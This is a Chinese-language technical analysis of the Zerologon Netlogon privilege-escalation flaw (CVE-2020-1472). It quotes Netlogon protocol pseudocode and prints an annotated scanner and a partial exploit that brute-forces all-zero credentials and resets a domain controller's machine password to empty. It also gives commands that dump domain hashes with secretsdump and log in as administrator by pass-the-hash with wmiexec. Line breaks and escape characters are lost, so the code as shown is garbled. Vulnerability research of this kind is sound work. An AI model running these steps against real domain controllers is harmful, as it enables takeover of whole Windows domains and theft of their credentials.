CVE-2020-1472 Netlogon权限提升漏洞分析

python setup.py install

pip install -r requirements.txtpython Scan.py ADSrv01 <IP>

python poc.py ADSrv01 <IP>

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'Domain/DC_NETBIOS_NAME$@dc_ip_addr' example：secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'v4ler1an/ADSrv01$@<IP>'

wmiexec.py -hashes HASH DOMAIN/USERNAME@IP 此处的例子为：wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8756481b09eec95190a6663a2dd879ab v4ler1an/adminstrator@<IP>

InitLMKey(KeyIn, KeyOut)      KeyOut[0] = KeyIn[0] >> 0x01;      KeyOut[1] = ((KeyIn[0]&0x01)<<6) | (KeyIn[1]>>2);      KeyOut[2] = ((KeyIn[1]&0x03)<<5) | (KeyIn[2]>>3);      KeyOut[3] = ((KeyIn[2]&0x07)<<4) | (KeyIn[3]>>4);      KeyOut[4] = ((KeyIn[3]&0x0F)<<3) | (KeyIn[4]>>5);      KeyOut[5] = ((KeyIn[4]&0x1F)<<2) | (KeyIn[5]>>6);      KeyOut[6] = ((KeyIn[5]&0x3F)<<1) | (KeyIn[6]>>7);      KeyOut[7] = KeyIn[6] & 0x7F; for( int i=0; i<8; i++ ){      KeyOut[i] = (KeyOut[i] << 1) & 0xfe;   }

ComputeNetlogonCredential(Input, Sk,             Output)       SET k1 to bytes(0, 6, Sk)      CALL InitLMKey(k1, k3)      SET k2 to bytes(7, 13, Sk)      CALL InitLMKey(k2, k4)      CALL DES_ECB(Input, k3, &output1)      CALL DES_ECB(output1, k4, &output2)      SET Output to output2

ComputeNetlogonCredential(Input, Sk,             Output)       SET IV = 0      CALL AesEncrypt(Input, Sk, IV, Output)

NTSTATUS NetrServerAuthenticate3(   [in, unique, string] LOGONSRV_HANDLE PrimaryName,   [in, string] wchar_t* AccountName,   [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,   [in, string] wchar_t* ComputerName,   [in] PNETLOGON_CREDENTIAL ClientCredential,   [out] PNETLOGON_CREDENTIAL ServerCredential,   [in, out] ULONG * NegotiateFlags,   [out] ULONG * AccountRid);

typedef struct _NETLOGON_CREDENTIAL {  CHAR data[8];} NETLOGON_CREDENTIAL, *PNETLOGON_CREDENTIAL;

SET TimeNow = current time;SET ClientAuthenticator.Timestamp = TimeNow;SET ClientStoredCredential = ClientStoredCredential + TimeNow;CALL ComputeNetlogonCredential(ClientStoredCredential,              Session-Key, ClientAuthenticator.Credential);

NTSTATUS NetrServerPasswordSet2(  [in, unique, string] LOGONSRV_HANDLE PrimaryName,  [in, string] wchar_t* AccountName,  [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,  [in, string] wchar_t* ComputerName,  [in] PNETLOGON_AUTHENTICATOR Authenticator,  [out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,  [in] PNL_TRUST_PASSWORD ClearNewPassword);

#!/usr/bin/env python3 # impacket是该漏洞利用使用的主要的python库，用到了其中的诸多功能from impacket.dcerpc.v5 import nrpc, epmfrom impacket.dcerpc.v5.dtypes import NULLfrom impacket.dcerpc.v5 import transportfrom impacket import crypto import hmac, hashlib, struct, sys, socket, timefrom binascii import hexlify, unhexlifyfrom subprocess import check_call # 根据前面的分析，理论上来讲，只要256次爆破就可以，但是为了保险和意外情况，这里作者给到了2000MAX_ATTEMPTS = 2000 # False negative chance: 0.04% # 错误回显，良心def fail(msg):  print(msg, file=sys.stderr)  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)  sys.exit(2) # 尝试使用全0的凭据进行登录def try_zero_authenticate(dc_handle, dc_ip, target_computer):  # 连接到DC的Netlogon服务.  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()  rpc_con.connect()  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)   # 使用全0的challenge以及credential.  plaintext = b'x00' * 8  ciphertext = b'x00' * 8   # 标准flags字段值设置，作者生成其参考为win10系统，但目前该值的设置普遍适用到最低winSrv2008.这里关闭了sign/seal标志位   flags = 0x212fffff   # 发送challenge和认证请求  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + 'x00', target_computer + 'x00', plaintext)  try:    server_auth = nrpc.hNetrServerAuthenticate3(    # 调用NetrServerAuthenticate3函数      rpc_con, dc_handle + 'x00', target_computer + '$x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,      target_computer + 'x00', ciphertext, flags    )     # Impacket中hNetrServerAuthenticate3函数实现：    # def hNetrServerAuthenticate3(dce, primaryName, accountName, secureChannelType, computerName, clientCredential, negotiateFlags):    # request = NetrServerAuthenticate3()    # request['PrimaryName'] = checkNullString(primaryName) -----> dc_handle + 'x00'    # request['AccountName'] = checkNullString(accountName) -----> target_computer + '$x00'，以空值结尾的Unicode字符串，用于标识包含客户端和服务器之间共享的密钥（密码）的帐户名称。    # request['SecureChannelType'] = secureChannelType ----------> nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel，NETLOGON_SECURE_CHANNEL_TYPE枚举值，指示此调用建立的安全通道的类型。    # request['ClientCredential'] = clientCredential ------------> ciphertext，指向NETLOGON_CREDENTIAL结构的指针，该结构包含客户端凭据。    # request['ComputerName'] = checkNullString(computerName) ---> target_computer + 'x00'，一个空终止的Unicode字符串，其中包含调用此方法的客户端计算机的NetBIOS名称。    # request['NegotiateFlags'] = negotiateFlags ----------------> flags    # return dce.request(request)     # 认证成功    assert server_auth['ErrorCode'] == 0    return rpc_con   except nrpc.DCERPCSessionError as ex:    # 如果失败，报一个STATUS_ACCESS_DENIED错误。在爆破成功前，都会返回该错误。    if ex.get_error_code() == 0xc0000022:      return None    else:      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')  except BaseException as ex:    fail(f'Unexpected error: {ex}.')  def perform_attack(dc_handle, dc_ip, target_computer):  # 进行爆破，平均次数为256  print('Performing authentication attempts...')  rpc_con = None  for attempt in range(0, MAX_ATTEMPTS):     rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)     if rpc_con == None:      print('=', end='', flush=True)    else:      break   if rpc_con:    print('nSuccess! DC can be fully compromised by a Zerologon attack.')  else:    print('nAttack failed. Target is probably patched.')    sys.exit(1)  if __name__ == '__main__':  if not (3 <= len(sys.argv) <= 4):    print('Usage: zerologon_tester.py <dc-name> <dc-ip>n')    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')    sys.exit(1)  else:    [_, dc_name, dc_ip] = sys.argv     dc_name = dc_name.rstrip('$')    perform_attack('\\' + dc_name, dc_ip, dc_name)

......# 爆破范围与检测脚本一致MAX_ATTEMPTS = 2000 # False negative chance: 0.04% # 异或def byte_xor(ba1, ba2):    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) ...... def try_zero_authenticate(dc_handle, dc_ip, target_computer):  # 同样登录DC的Netlogon服务.  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()  rpc_con.connect()  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)   # 使用全0的challenge和credential.  plaintext = b'x00' * 8  ciphertext = b'x00' * 8   # flags设置与检测脚本一致  flags = 0x212fffff   # 发送challenge和认证请求  serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + 'x00', target_computer + 'x00', plaintext)  serverChallenge = serverChallengeResp['ServerChallenge']  try:    server_auth = nrpc.hNetrServerAuthenticate3(      rpc_con, dc_handle + 'x00', target_computer+"$x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,      target_computer + 'x00', ciphertext, flags    )      # It worked!    assert server_auth['ErrorCode'] == 0    print()    server_auth.dump()    print("server challenge", serverChallenge)      # 设置IV为全0    try:      IV=b'x00'*16      authenticator = nrpc.NETLOGON_AUTHENTICATOR()      authenticator['Credential'] = ciphertext #authenticatorCred，全0      authenticator['Timestamp'] = b"x00" * 4 #0 # timestamp_var， 全0       request = nrpc.NetrServerPasswordSet2()      request['PrimaryName'] = NULL      request['AccountName'] = target_computer + '$x00'      request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel      request['ComputerName'] = target_computer + 'x00'      request["Authenticator"] = authenticator      request["ClearNewPassword"] = nrpc.NL_TRUST_PASSWORD()      request["ClearNewPassword"]["Buffer"] = b'x00'*512      request["ClearNewPassword"]["Length"] = 0 # 根据secura的白皮书，总计516字节，前面占了512字节，再跟4字节数据长度      resp = rpc_con.request(request)      resp.dump()    ......